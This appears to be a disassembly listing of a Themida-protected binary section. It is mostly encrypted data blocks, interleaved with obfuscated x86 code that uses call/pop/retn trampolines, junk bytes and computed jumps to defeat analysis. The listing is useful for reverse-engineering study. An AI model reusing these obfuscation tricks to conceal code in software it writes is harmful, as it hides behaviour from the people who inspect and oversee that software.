		dd 9BE3C1A1h, 0DF46DDBEh, 0C037F328h, 0A71ED207h, 0C9DBC704h
		dd 0F19A9B3Ah, 7017A2BCh, 8EC37C3Bh, 0CD7605B9h, 620E49FDh
		dd 0A52EE2FEh, 3, 326D5F17h, 52493D80h,	19B06499h, 4F463A75h
		dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h
		dd 0CF554178h, 81E68956h, 4C6h,	4EE8100h, 87000000h, 895C2434h
		dd 2E68243Ch, 89000077h, 8952243Ch, 4C281E2h, 83000000h
		dd 148704EAh, 1C895C24h, 47B95124h, 0C1565955h,	0F75103E9h
		dd 81592414h, 225E07F1h, 59CF89F3h, 4EC81h, 24890000h
		dd 24048324h, 89525B04h, 85389FAh, 8124148Bh, 4C4h, 241C8B00h
		dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5F2434FFh, 4C481h
		dd 1E90000h, 0CCFFF9F1h, 68FAE62Bh, 41C83024h, 0C8E699DBh
; ---------------------------------------------------------------------------
		cmpsd
		cli


loc_5B43E6:				; CODE XREF: Themida_:005B3F98j
		mov	eax, 6168EE5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		cld
		add	[ebx+42h], esp
		adc	[esp+ecx*8-5FE72BA5h], edi
		daa
		lea	ecx, [ebp+6169055h]
		jl	loc_5B440D
		mov	edi, [ebp+6102A89h]


loc_5B440D:				; CODE XREF: Themida_:005B4401j
		mov	[ebp+61009F5h],	ecx
		jz	loc_5B441C
		sbb	bh, 38h


loc_5B441C:				; CODE XREF: Themida_:005B4413j
		mov	dword ptr [ebp+6102319h], 6698h
		push	0
		push	esi
		call	sub_5B4431
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4431	proc near		; CODE XREF: Themida_:005B4429p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B4431	endp

; ---------------------------------------------------------------------------
		db 0CFh, 30h, 4Dh
; ---------------------------------------------------------------------------
		sar	cl, 1
		fcmove	st, st(5)
		mov	[ebp+6100CB1h],	edi
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	ecx
		call	sub_5B4463
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4463	proc near		; CODE XREF: Themida_:005B445Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B4463	endp

; ---------------------------------------------------------------------------
		db 7Eh
		dd 2AECADF1h, 6E9C6h, 5EF10000h, 0B2B3B5DDh, 232DB5FFh
		dd 81660610h, 0FF2930EAh, 102DB995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 1317C8B6h
		dd 80BFA89Ah, 0FF006ADAh, 1031C995h, 0EBC08B06h, 637B0679h
		dd 28048559h, 0B651AA7h, 4082700Dh, 70E691DCh, 0BCC08025h
		dd 0AE10C602h, 7B8484EFh, 9FA49419h, 0E9F098FBh, 20FC8D7Ch
		dd 2C30881Ah, 584D4805h, 2925AB6Bh, 7775915h, 3C8EB3B1h
		dd 94EB05E1h, 3CD3131Eh, 276B84F4h, 14BB2276h, 63E6029Ch
		dd 1AAD7FDAh, 8885D5D3h, 8D17A2E5h, 0D85A4BF5h,	68CD2151h
		dd 50BC0EB1h, 262E56EFh, 2E599ACAh, 0CA7C70A7h,	8D8D3108h
		dd 6169191h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	32C35646h, 0D8AC7415h, 0F059D89h, 8D890610h, 61009F5h
		dd 0C7C68166h, 1985C701h, 4061023h, 6A00006Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2D7DC351h, 85C762AEh, 61022C1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B45B3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B45B3	proc near		; CODE XREF: Themida_:005B45ABp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B45B3	endp

; ---------------------------------------------------------------------------
		adc	eax, 51B5FFD3h
		pop	ds
		adc	[esi], al
		push	0
		push	edx
		call	sub_5B45D6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B45D6	proc near		; CODE XREF: Themida_:005B45CEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B45D6	endp

; ---------------------------------------------------------------------------
		dw 0F672h
; ---------------------------------------------------------------------------
		push	ebp
		call	dword ptr [ebp+6102DB9h]
		mov	esi, [ebp+6100A59h]
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5B464F
; ---------------------------------------------------------------------------
		db 0F2h, 51h, 9Bh
		dd 5CF241A1h, 0CF740EF9h, 0A0B8CFA6h, 1DE3D1C8h, 3515DD7Eh
		dd 6C3DC529h
; ---------------------------------------------------------------------------


loc_5B461C:				; CODE XREF: Themida_:005B4677j
		or	[ebx], dh
		inc	ecx
		or	al, 11h
		test	[esi], dh
		sub	[eax], eax
		aad	34h
		cmc
		in	al, dx
		push	edx
		xchg	eax, edi
		dec	edx
		add	esi, [ebp-70h]
		push	ss
		xor	dh, ch
		call	far ptr	39ACh:3B3B4FAh
		hlt
; ---------------------------------------------------------------------------
		dw 2063h
		dd 5EF6ED3Bh, 6FBA1F74h
		db 23h,	14h
; ---------------------------------------------------------------------------


loc_5B4646:				; CODE XREF: Themida_:005B4690j
		in	al, 0F6h
		pop	es
		push	es
		xor	eax, 70DA4A5Ch


loc_5B464F:				; CODE XREF: Themida_:005B45FFj
		push	ebx
		and	eax, 0BF5DB161h
		and	dh, [ecx+1A0C56AEh]
		pop	ecx
		add	ds:550CC3E1h, cl
		mov	gs:[esi+edi*4+324AEB3Bh], al
		mov	cl, 33h
		push	esp
		cmp	esi, [ecx+305256BAh]
		mov	dl, 0CBh
		nop
		scasb
		loopne	loc_5B461C
		push	ebx
		mov	cl, 57h
		pop	ecx
		mov	ch, 0BCh
		stosd
		push	esi
		xor	bl, [eax-23h]
		push	esi
		xor	dh, [ecx+4E4AD3EFh]
		cmp	eax, 9270B311h
		db	64h
		jz	short loc_5B4646
		push	eax
		push	esi
		xor	dh, [ecx+1185A2C3h]
		mov	byte ptr [ecx+edx*8], 95h
		db	66h
		jnp	short loc_5B46EE
		fcomp	qword ptr [edi]
		mov	esi, 56EAB13Eh
		les	esp, [ecx-21D0F3F5h]
		mov	dh, 91h
		xor	[ecx-78h], edx
		retn	333Dh
; ---------------------------------------------------------------------------
		db 0AEh
		dd 9B13256h, 0A4B13237h, 0D5B124DDh, 0EAA0DB56h, 0E5E93256h
		dd 7877A6A5h, 93DA7F7Bh, 0C195C70Ah, 573E90BBh,	0ABA2DB56h
		dd 0CB673256h, 9893056Bh, 73FC0466h
; ---------------------------------------------------------------------------
		test	[ebx], esi


loc_5B46EE:				; CODE XREF: Themida_:005B469Fj
		cmp	ah, ah
		mov	eax, ds:20CB2FF1h
		xor	dh, [ecx-4EC64032h]
		push	edi
		push	esi
		sbb	al, 27h
		sub	eax, 0CC2B3812h
		add	eax, [eax-46A6CE2Fh]
		mov	bh, 75h
		push	esi
		xor	dh, [eax]
		push	esp
		std
		mov	eax, esi
		xor	eax, 0CEB13237h
		mov	edi, 5657B120h
		std
		fdivr	st, st(4)
		hlt
; ---------------------------------------------------------------------------
		db 53h,	50h, 0E5h
		dd 5D18C619h, 56BDB969h, 315045B5h, 5DB1538Ch, 0AEBBBA59h
		dd 0E1D13256h, 0AB3F3DE6h, 0B4B13256h, 0EAB9DB36h, 0A9623256h
		dd 0E494BCECh, 3C4D8A7Fh, 0AEEB7CCAh, 0B8B13256h, 3013B3E0h
		dd 0DAD13256h, 0EAB134D2h, 1257B356h, 2E8A760h,	32AA8BDh
		dd 0F29DA837h, 36438D56h, 2ABE3256h, 0D5B1325Ch, 0EAB137BFh
		dd 27DAE356h, 53D1D11Ah, 5DB1325Dh, 436133A0h, 0CAC71ABBh
		dd 0CB9274F2h, 0D5B137BEh, 3CA34F56h, 0C3EACAACh, 0BAD053DAh
		dd 5DB1CB56h, 0AEB13CBFh, 300BD556h, 2AA6C422h,	0B5718667h
		dd 8AC8414Fh, 0BC25E4D7h, 31D7245Fh, 5DB15394h,	0EB57B336h
		dd 37C7EE3Ch, 0ABB13EBFh, 0E4FAE856h, 0F8EDAF08h, 98860C89h
		dd 596F8B2Ch, 3CD035CAh, 0AEB0B859h, 57493256h,	0ABB1CE56h
		dd 0D5B13ABFh, 0C94BF156h, 3C24DC27h, 0B5B132BFh, 5DB13AD6h
		dd 0AC303D56h, 37B13256h, 0A4B13237h, 0D5B133D7h, 0E458C756h
		dd 95B13256h, 0B34C69Dh, 0BF8ACDF7h, 20EB7BD2h,	37B132D3h
		dd 266585EFh, 0B442B974h, 63BE3256h, 75B13241h,	0BAB120BFh
		dd 9A75E556h, 4FB6955Dh, 57AFB188h, 0A61653A6h,	3CF15182h
		dd 0EAB13251h, 0A11E3FEEh, 0BABC7A13h, 4E585256h, 67B13256h
		dd 0FC45D32Bh, 0CBEE208Ah, 0DC947998h, 0C2A0FA36h, 0F4D7B87Ch
		dd 0DB8A6DB0h, 5D4D3256h, 64305256h, 5EAC8E69h,	0ABB13FBFh
		dd 5F5F3E56h, 7E7CEEDh,	6ACAA075h, 0BAD0706Dh, 5C333D56h
		dd 5BB13256h, 57493256h, 0ABA2DB56h, 49F93256h,	0A96B7DA0h
		dd 8E04A7F4h, 0EDE20968h, 0A95BF64Ah, 0B9373D0Ch, 0BEB13256h
		dd 0ABB13244h, 0A78B247Eh, 777B896Eh, 0AE12BCC6h, 0B99437D5h
		dd 5DB1F0E8h, 52B132A3h, 0AFD13256h, 0A4D0D6E0h, 0D5B133D4h
		dd 0EAB1CE56h, 75B13EBFh, 36A1356h, 0C868537Ch,	8E6B28CCh
		dd 0BEB1325Eh, 0ABB1325Ah, 1E2009B2h, 4F2FC261h, 63EDF386h
		dd 0BAB138BFh, 5F3A8756h, 43E2CB1Dh, 55C01F28h,	0ABB13256h
		dd 0DDB6E5A3h, 0EDB13056h, 64B13D56h, 46B13556h, 0A8B13254h
		dd 0A5363D37h, 0BEB13256h, 0ABB13250h, 0D0FFE113h, 0EAB1C754h
		dd 89B132AEh, 53D13256h, 5DB13258h, 4CE96C64h, 83005CA5h
		dd 4F13B2E1h, 0B3D1C7E2h, 6CBEE4DDh, 75B13256h,	0BAB15337h
		dd 5D3C3D36h, 0C8B13256h, 57D0CCDDh, 0A7595256h, 0BB13256h
		dd 87E1980Fh, 0F0550BEAh, 0DCF18B77h, 0FE8F3DDh, 0AEB137BFh
		dd 9A53C856h, 0CAE8937Dh, 0D5483256h, 0EAB37856h, 75B0BC59h
		dd 0BA4D3256h, 0DDB37856h, 15EE17A6h, 316F329Ah, 0CBB13237h
		dd 0D5B8DA00h, 0A8363256h, 11D69880h, 0E5BA847Fh, 5F333D08h
		dd 18B13256h, 372153E5h, 100680E6h, 82D16237h, 61EAFAE6h
		dd 6E21538Eh, 4D47A3EEh, 0CE33FF32h, 417FFB86h,	5C6BB7AAh
		dd 20D76A0Ch, 85E1538Eh, 0EAA2DB04h, 596E3256h,	0A24AB8A3h
		dd 99666427h, 9EC2D0FBh, 0B7E1CFFh, 0FB803D33h,	0D5B8DB04h
		dd 78AC3256h, 0ABA85235h, 0B564BEE9h, 7D05267h,	3CE9680Eh
		dd 5E1620Eh, 0ABB13BBFh, 86F3BF56h, 453FBBC6h, 44BE77EAh
		dd 26BC8536h, 5DB137BFh, 318FCB56h, 973187BAh, 0ABB7DB8Eh
		dd 42A73256h, 0D9135FD2h, 2DEB53CBh, 8BBE41C6h,	5DB126BFh
		dd 94D46E56h, 51507ABDh, 39ACC691h, 0BA85235h, 64BEE9h
		dd 2DE9688Dh, 40942ED9h, 853054FDh, 0A2587390h,	0E3B13256h
		dd 8B92608Bh, 99CEAC8Fh, 772A98C3h, 14468559h, 9EE96A0Ch
		dd 0FE15252h, 4B5D8930h, 983A0359h, 0A7596A0Ch,	51B13256h
		dd 1A82903Bh, 693EDC3Fh, 0DC1AC873h, 310B5EEh, 0AEB16A37h
		dd 34232FA2h, 146F2B36h, 0E5BE7DAh, 9F41060Eh, 664ACAD9h
		dd 8FECFBA8h, 5DB153B7h, 0AEA5BB59h, 0D6BE3256h, 0ABB13258h
		dd 0D5B13BBFh, 0B9224256h, 8569E1B9h, 0BA4969FFh, 53595256h
		dd 48B13256h, 6F6AAAEh,	831BF340h, 7694D74Bh, 35063DAEh
		dd 75B1530Fh, 0BAB135BFh, 0E351F456h, 0DA8E28D7h, 5F583256h
		dd 3B13256h, 169C42A8h,	8A68B7DAh, 0CB6DCDEEh, 0BAB15329h
		dd 0BF305436h, 56D08B15h, 57443256h, 0BA313D56h, 3CB13256h
		dd 0EAB1325Ah, 0AECFC124h, 0FAAA420Ah, 579B9AE9h, 0AEB135BFh
		dd 773E9F56h, 0A03CEE1h, 0B3D13256h, 8CE1F9DDh,	14EEEADDh
		dd 0BAB9BB59h, 52D13256h, 0AEB132D0h, 57B15356h, 0AD3E3DAAh
		dd 0B5B13256h, 31063DAFh, 8DB13237h, 0BA4D3256h, 5C323D56h
		dd 57B13256h, 0D4BE3256h, 0ABB13257h, 20B132AFh, 63BE3256h
		dd 75B1325Ch, 753A5436h, 9D68B330h, 0AEB153F4h,	0E9BB8536h
		dd 8862A8AFh, 0DAB13237h, 0EAB13AD4h, 77383D56h, 0DAB13256h
		dd 0A4B13237h, 0A1D13256h, 57B133D7h, 0A259CE56h, 0F4B13256h
		dd 0FF71DDBCh, 137C4D6Ch, 0DBEEC8E1h, 5D493256h, 0A9343D56h
		dd 37B13256h, 0CB738D59h, 0D5B15337h, 87848D36h, 75D06595h
		dd 0AF363D56h, 0B4B13256h, 0AEB13246h, 0A8E7FCD3h, 0A42C11D0h
		dd 89893F35h, 4CA4E6E9h, 75493256h, 0BABCDB56h,	2B373256h
		dd 0BC01DE25h, 1BBA0C9Dh, 0AB5DCA9Ch, 0D5A2DB56h, 6AB33256h
		dd 0AB3C591h, 71BD0193h, 0BB7B8836h, 26F7496Dh,	0AEB132BAh
		dd 0CDD13256h, 30C3E1D7h, 0EAD0CADDh, 75B8DB56h, 11353256h
		dd 0A3CC869Ah, 0AE9218A5h, 57B1CB56h, 0ABBBB259h, 61D13256h
		dd 0EA3C3DFBh, 14B13256h, 0BA493256h, 5C313D56h, 5BB13256h
		dd 5E583256h, 49B13256h, 0D8695421h, 9327D919h,	8DD13256h
		dd 0BAD0AEE7h, 5DA3DB56h, 63013256h, 0FD963DD7h, 0BF04DC8h
		dd 6732A0EDh, 3D670BF8h, 0FFBE3256h, 0BAB1325Ah, 5DB7B559h
		dd 2DBE3256h, 57B13256h, 0AB483256h, 0DE585256h, 0B5B13256h
		dd 0AD60BD92h, 9F0729D8h, 5DD06220h, 0AEBBDB56h, 41093256h
		dd 0BF32EE1Ch, 557339D2h, 0EA4D3256h, 75BEDB56h, 6FE43256h
		dd 1C40F861h, 31993E74h, 0EAD20D49h, 42B1326Ah,	0D5B1325Ah
		dd 0C6592BC1h, 491C334Bh, 0F0E45358h, 5D4D3256h, 25D75256h
		dd 5258529Dh, 0E1B13256h, 0FB799560h, 8B6B8559h, 9CB13237h
		dd 0BAB13251h, 479A020Bh, 0AE347277h, 0D1C756h,	0CAEB6B04h
		dd 0B3D13256h, 0A5D5C3D7h, 4343B330h, 0BAB15307h, 5DB120BFh
		dd 0A602F956h, 0D909BFD6h, 8814B16Dh, 0CFDD951Ch, 0EA957F6Ah
		dd 6F323D56h, 0B5B13256h, 5DB126D7h, 0AEBEDB56h, 59303256h
		dd 81DABB9Ah, 711E6F3Dh, 8B6CC01Eh, 15B1325Ch, 2872B330h
		dd 5894897Dh, 0A1D011D3h, 57B124DDh, 0ABA0DB56h, 0F5703256h
		dd 0A7ABEBFh, 40B8321Bh, 0CFFF31A3h, 5D6635ABh,	0AEB1CB56h
		dd 57B0B159h, 53493256h, 0D54D3256h, 0EABDDB56h, 6B793256h
		dd 0E6C0F329h, 759A3CF0h, 0AE44DBE2h, 57BCDB56h, 0C9A43256h
		dd 690DA8E9h, 9BC00EA8h, 75EE0E3Ah, 0B0303D56h,	0B4B13256h
		dd 0AEB13253h, 1D6CD7D3h, 2FBE5207h, 0D5B13242h, 0EAB13DBFh
		dd 318B4A56h, 0F73EC218h, 0CE772513h, 1168A97Fh, 57B126BFh
		dd 0C5F56856h, 0CB5E1A2Ah, 0AE589A02h, 8A5D42E1h, 55E4460Ah
		dd 5DB15313h, 0AEBDB659h, 0D4BE3256h, 0ABB13250h, 0D5B1B859h
		dd 0EAB13256h, 75B126BFh, 19A32A56h, 730BCE29h,	26BF3794h
		dd 6A9E31F2h, 0F61DB588h, 0DAB1322Ch, 0EAB126D6h, 75BEDB56h
		dd 253B3256h, 1286F217h, 0D4E202C3h, 0AAA62032h, 42B13237h
		dd 0D5B13258h, 2652645h, 10954917h, 541ACC3h, 5DB1404Eh
		dd 0AEB0B859h, 57443256h, 0BF585256h, 0A7B13256h, 40DD256Dh
		dd 639B6E43h, 0BE0A0082h, 0EC4D3EC0h, 0C8C3CCCCh, 57D0E1DDh
		dd 0ABB1CE56h, 0B362B836h
		dd 8C36F2D7h, 9CB13237h, 0BAB1325Ah, 9A780AC6h,	0F86862A0h
		dd 90D15CB6h, 0CDD13256h, 5B24C5D7h, 0EAB13ABFh, 668F9156h
		dd 0DE8A1BA5h, 5DB153EBh, 0CF44CA36h, 0D5BE3256h, 0ABB1325Ah
		dd 0D5B7B559h, 6DBE3256h, 75B13256h, 0BA4D3256h, 5DB6DB56h
		dd 0F7EB3256h, 0EC90D38h, 0ABB4DBAAh, 79073256h, 0EA4E2AF4h
		dd 9CD15256h, 0BAB1325Ch, 9DAFF121h, 47C4607Ch,	8A06F799h
		dd 9E0B5437h, 0D5B153B1h, 0A90E5436h, 0B41B20Fh, 53B13237h
		dd 5DB13242h, 0E04F0C22h, 0A3B0009Ch, 0BC7791DDh, 795E3407h
		dd 9C2DFA53h, 7F583256h, 23B13256h, 235E3A6Eh, 0F0C34E9h
		dd 843B5285h, 0ABB13ABEh, 9538C156h, 0D40E140Bh, 0A43A54C1h
		dd 0BAB1530Eh, 5DB13CBFh, 39FF4756h, 99A19400h,	0F8B3F16Dh
		dd 0D5AFA01Ah, 0EAB1C756h, 0B270B336h, 0DCC0C364h, 3C8CAEE8h
		dd 0A3583256h, 84B13256h, 5D6EE895h, 6E7380Eh, 0D1E83347h
		dd 75B139BFh, 88D31456h, 0FAF0AE3Fh, 0A33F60FBh, 37D13256h
		dd 998A30h, 0D5B1BE59h,	2D03256h, 75B13259h, 85A218D5h
		dd 9154D8A1h, 0EBEACE78h, 0AF6ACCC3h, 0ABB1530Fh, 0DAB132AFh
		dd 0EAB137DAh, 2EE35256h, 0BAB153AEh, 3DB132AFh, 4531C3DCh
		dd 57B153F0h, 0ABB0B059h, 3C493256h, 0EAB1325Eh, 3955C83Ch
		dd 5B55579Bh, 52D13256h, 0AEB131D8h, 0B474B256h, 437BB936h
		dd 0D5B13247h, 562706B6h, 0E8D6FB4Eh, 4EFCBEBDh, 0CC00E781h
		dd 0CFD06D37h, 43583256h, 0BAB13256h, 0D0CFA793h, 24776AA4h
		dd 6417BB87h, 0A93CF08h, 5D55F39Eh, 0AEB4DB56h,	0F3653256h
		dd 0AB0AE289h, 0D54DCB56h, 0EB3E3D56h, 8CB13256h, 0AE583256h
		dd 0D1B13256h, 0AD4D04C7h, 0F3D4BF51h, 0D7C70B58h, 9FDD85C6h
		dd 0EA9F6A1Ch, 743A3D56h, 4FB13256h, 5D493256h,	0AEA2DB56h
		dd 0BBB3256h, 73B354C7h, 59D781FFh, 2C268C28h, 72742945h
		dd 0B5B132F9h, 5DB13ADCh, 0AC3E3D56h, 37B13256h, 42B13237h
		dd 0D5B1325Dh, 2FDCC9A4h, 0A147816Fh, 4F05FD04h, 0DBBE3256h
		dd 0AEB13240h, 9E063D36h, 0ABB139BEh, 0F1339E56h, 0D54EB714h
		dd 4831EA55h, 0BAB1530Fh, 0A1B132AFh, 0AE483256h, 57B7DB56h
		dd 0B6553256h, 0F5B73A5Fh, 0EA4D3256h, 0C5D1C756h, 0BC3B3D4Fh
		dd 52B13256h, 0AEB132D0h, 57B15356h, 0ABB6B359h, 52BE3256h
		dd 0EAB13257h, 7AB132AAh, 0BAB120DCh, 5DBCDB56h, 6FE73256h
		dd 5F473DBCh, 7067A7BBh, 0D5CBE822h, 0EAA5DB56h, 82203256h
		dd 0F155A5CAh, 8E6F039Dh, 0ED77F58Fh, 0CE9BB338h, 0A158F521h
		dd 0A7B13256h, 0C35C66AFh, 0D0C9093Bh, 53B1321Ch, 5DB13250h
		dd 0EFBB47CBh, 0DBBE3953h, 0ABB13257h, 0B5B132A3h, 0EAB4B959h
		dd 0BF083256h, 0DCF846E1h, 3CE12DEEh, 0AE493256h, 57B1C756h
		dd 0ABB120BFh, 0B07D9856h, 2178D69Bh, 0E550F359h, 65077774h
		dd 5D9140E4h, 29BE5256h, 57B13254h, 14BE5336h, 0D5B15394h
		dd 0EAB0B559h, 754D3256h, 0AB3C3D56h, 0B4B13256h, 0AEB1325Ah
		dd 0F783F17Dh, 0C4651B14h, 0F2E36E8Bh, 0EAB4DB36h, 0BF483256h
		dd 0DD12C35h, 5DB15366h, 47B132AEh, 57B13245h, 0ADD98ED0h
		dd 0BE0129D6h, 42CA27D5h, 666CB6E0h, 4F56AACEh,	58583256h
		dd 87B13256h, 0DE9113ACh, 0AB483256h, 0D5B1CE56h, 0E8393D36h
		dd 15B13256h, 0BAA3DA37h, 2A9E3256h, 2787965Bh,	5B9546FBh
		dd 19296F3Ch, 9F3936B3h, 0EAD06AAFh, 74323D56h
		db 56h,	32h, 0B1h
byte_5B52CF	db 42h			; DATA XREF: Themida_:0054D610o
		dd 0DDD13256h, 2FD77483h, 3681B08Ch, 0A6583256h, 40B13256h
		dd 0B54D20E5h, 0EF5C657Ch, 0B2C45914h, 0D4BE3256h, 0AEB13257h
		dd 58B132AAh, 0ABB13AD2h, 0D7313D56h, 8AB13256h, 15B13237h
		dd 0BAB122BEh, 0A19E8E56h, 1675C81Ch, 8F4EBAA9h, 978E202Ah
		dd 8E548576h, 0EAB2B959h, 0C2BE3256h, 0BAB1539Eh, 5DA1B659h
		dd 2BBE3256h, 57B1325Ch, 0ABB137BFh, 0D0C84656h, 0EAB1FE65h
		dd 99F98936h, 3BD72317h, 3C90FE84h, 2CBE3256h, 57B13257h
		dd 5EB132AFh, 0D5B0BD59h, 0EA4D3256h, 7D3A3D56h, 0DAB13256h
		dd 5DB1B059h, 0AED03256h, 57B1C756h, 527EB336h,	0B3B85706h
		dd 0FED7E9D7h, 7AB13237h, 0BAB13EDCh, 5DB6DB56h, 5F733256h
		dd 0E604C9Fh, 5EB132BDh, 3CD13256h, 0EAB13245h,	0C7D6CA8h
		dd 157F0EBBh, 0C7EA1999h, 843330B6h, 37716ACAh,	0CA46B930h
		dd 3CB13237h, 0EAB13258h, 984EF170h, 9F5FF324h,	0D1792728h
		dd 0AEB18B4Eh, 37B132AFh, 0A24D8B36h, 0B4D0362Fh, 8CD13256h
		dd 148DF1EFh, 0DAD13256h, 5DB13EBFh, 6BFC3D56h,	62CD038Fh
		dd 0D22D335Ch, 3CD0CECBh, 0EAB13259h, 1F391616h, 16C28497h
		dd 1AD6519Fh, 0CFB989D0h, 57493256h, 0BE3B3D56h, 3CB13256h
		dd 0EAB13246h, 885EAF15h, 2E23609Fh, 28FBAB71h,	1A2CB487h
		dd 47583256h, 0D5B13256h, 0D9530145h, 776C443Eh, 0BA395D0Fh
		dd 0BA0EAC3Ch, 0DDBE5256h, 0AEB13250h, 57B1BA59h, 11D73256h
		dd 0D5D0291Dh, 0EAB1CA56h, 75B9BA59h, 30BE3256h, 5DB13254h
		dd 15D15336h, 21091C4Eh, 0ABB1BE59h, 0D5D03256h, 0E558CE56h
		dd 6AB13256h, 28A863B6h, 84BFB67Fh, 0F834F1A2h,	57B12692h
		dd 5C305436h, 0B5D0E604h, 0EA393D36h, 13B13256h, 0A364D1D7h
		dd 3CDB8437h, 21BE3256h, 57B1325Ah, 0ABB7B259h,	51BE3256h
		dd 0EAB13256h, 0FABE3256h, 0BAB1324Dh, 1D57B236h, 0AEB122BEh
		dd 8E8CD256h, 0C297AD6Fh, 0B0CDB31Eh, 42D9ACEBh, 75D06DEBh
		dd 0B3313D56h, 3DB13256h, 7F548930h, 36BBFBD6h,	28BE3256h
		dd 0D5B13257h, 0EAA1DBAEh, 0CE143256h, 9E2A577h, 0EFB0FA26h
		dd 0A74F6122h, 57B1E1FDh, 0ABB0BF59h, 0D5443256h, 61D1C756h
		dd 773F3DA7h, 0DAB13256h, 5DB15337h, 1E77B936h,	57B15388h
		dd 0ABB120BFh, 8151CE56h, 0D580688Ch, 0BEB43313h, 0C7DC71CDh
		dd 5D5F266Bh, 0AEB1CE56h, 57B137BFh, 0B1C7DD56h, 0D5B177D8h
		dd 0EAB123BFh, 7DAE2056h, 949D719Ah, 110CECAh, 94564B20h
		dd 57B18E7Fh, 0ABB9B959h, 57BE3256h, 0EAB13254h, 75B15336h
		dd 42B132AEh, 4C583256h, 0F7B13256h, 0D717B48Eh, 0E40AE9ADh
		dd 0DACD911Fh, 6F2480BEh, 75483256h, 34BE5256h,	5DB13256h
		dd 0CF8DF1D6h, 45583256h, 0FBB13256h, 23908A50h, 4762E06Ch
		dd 0A447E430h, 9FF419D7h, 0B4B13215h, 0AEB1325Ah, 8E70A5B9h
		dd 0F436A5E3h, 8EAEE999h, 440B336h, 0FE8B7C48h,	0BAB153AFh
		dd 0A8B132AEh, 24D13256h, 51363DB7h, 0A4B13256h, 0D5B132DDh
		dd 0EAB15356h, 75A2DA36h, 3AD83256h, 0F3759232h, 76D8A44Dh
		dd 31471760h, 440413FFh, 8DD05273h, 0E8348B36h,	14D07C54h
		dd 0B5583256h, 6FB13256h, 0DBA4AF17h, 0D6E6AC44h, 922F2E27h
		dd 0D5485AB0h, 0E5D1CE56h, 75B124D2h, 0BAA1DA56h, 0FA163256h
		dd 0C5737E75h, 2DF0EBA3h, 8502630Ch, 0B3EFE68Fh, 0EAD0ECDDh
		dd 623C3D56h, 53B13256h, 5DB13244h, 0A0D7E7ECh,	0B1FDD5BDh
		dd 0E0C59853h, 0C690EDEDh, 0EAB17CAAh, 75B135BFh, 0D12CD556h
		dd 6D383128h, 0CEB132AFh, 0BF62B930h, 0ABB13245h, 1BA49E09h
		dd 2FCEAF0h, 93BE6856h,	64AE0A40h, 55F3FA7h, 0A1B13237h
		dd 57B13AD1h, 0A9333D56h, 0B5B13256h, 3B13237h,	75B1325Ah
		dd 8EFBE10h, 20F54D2Dh,	1A394C98h, 0DDBE3256h, 0ABB13257h
		dd 29B132AFh, 6BD13256h, 0F5AAB18Ch, 6B3A5462h,	3DB13237h
		dd 2E00E9D6h, 57D0AFB8h, 6C305256h, 0D19878B7h,	8AB13237h
		dd 0F5D1C8DDh, 5BEBB8Dh, 5DD05394h, 0AEB1CB56h,	57B13EBFh
		dd 429B4356h, 810D40A0h, 0BF7B090h, 15B132B9h, 0C57B330h
		dd 505864C4h, 5B13256h,	0ED3D50A6h, 0FE806208h,	0A33B994Ch
		dd 0EAB15308h, 75A7BC59h, 0AB583256h, 0C9B13256h, 0E7201BCFh
		dd 0D926845Bh, 3C38C2AEh, 0AB324CBDh, 0EAB138BFh, 461E5056h
		dd 0B1C60F88h, 5D4BAB21h, 0AEB1CE56h, 57A2DB36h, 0FE733256h
		dd 0B612E47Bh, 0DBE5DF97h, 6DD70547h, 7719AA15h, 3C7BB9BFh
		dd 0A9583256h, 0A6B13256h, 84B5C04Fh, 0D5B18C22h, 0EAB0B659h
		dd 9C443256h, 0BAB1325Bh, 4F815CE6h, 10C4DB1Dh,	3389370Ah
		dd 0CBB1328Eh, 0D5B13EBEh, 830EB556h, 0D6A037F1h, 716E312h
		dd 5DB8DB8Eh, 9AC93256h, 0FDF210B8h, 0F4459574h, 0F573B205h
		dd 0EAB1530Dh, 7AEE6436h, 0BAB134D7h, 5D3A3D56h, 0CFB13256h
		dd 0CE52B336h, 0CD987D9Fh, 0B442D7EDh, 0E5443256h, 75B133D9h
		dd 0BAB1C756h, 953A5436h, 0EFC8B30h, 58B13237h,	0ABB133DBh
		dd 0D5B1CB56h, 0E5B132AFh, 75B122D5h, 0B03E3D56h, 0B4B13256h
		dd 0AEB13253h, 0A39F26ABh, 42B132A8h, 0D5B1325Ah, 0B32948D9h
		dd 8968A8Ah, 288AFDE9h,	0EBD13256h, 7F30546Bh, 57D08798h
		dd 0ABBCDB56h, 0E3913256h, 82B64A2Bh, 57A7B2FDh, 0BAC86ACDh
		dd 5DB1CB56h, 16D752A3h, 0DCD7F34Eh, 0ABB153A6h, 0DAB132AEh
		dd 0EAB124D8h, 7C595256h, 5DB13256h, 60762439h,	0E40166B0h
		dd 9630540Dh, 0ABD00AFCh, 0D5B1CB56h, 0EB313D36h, 89B13256h
		dd 0DB4AB930h, 5DA6B959h, 0BC583256h, 90B13256h, 0F6A7374Ch
		dd 465EA1FAh, 725C2FF6h, 98BD4F74h, 42B132E7h, 0DEBE3256h
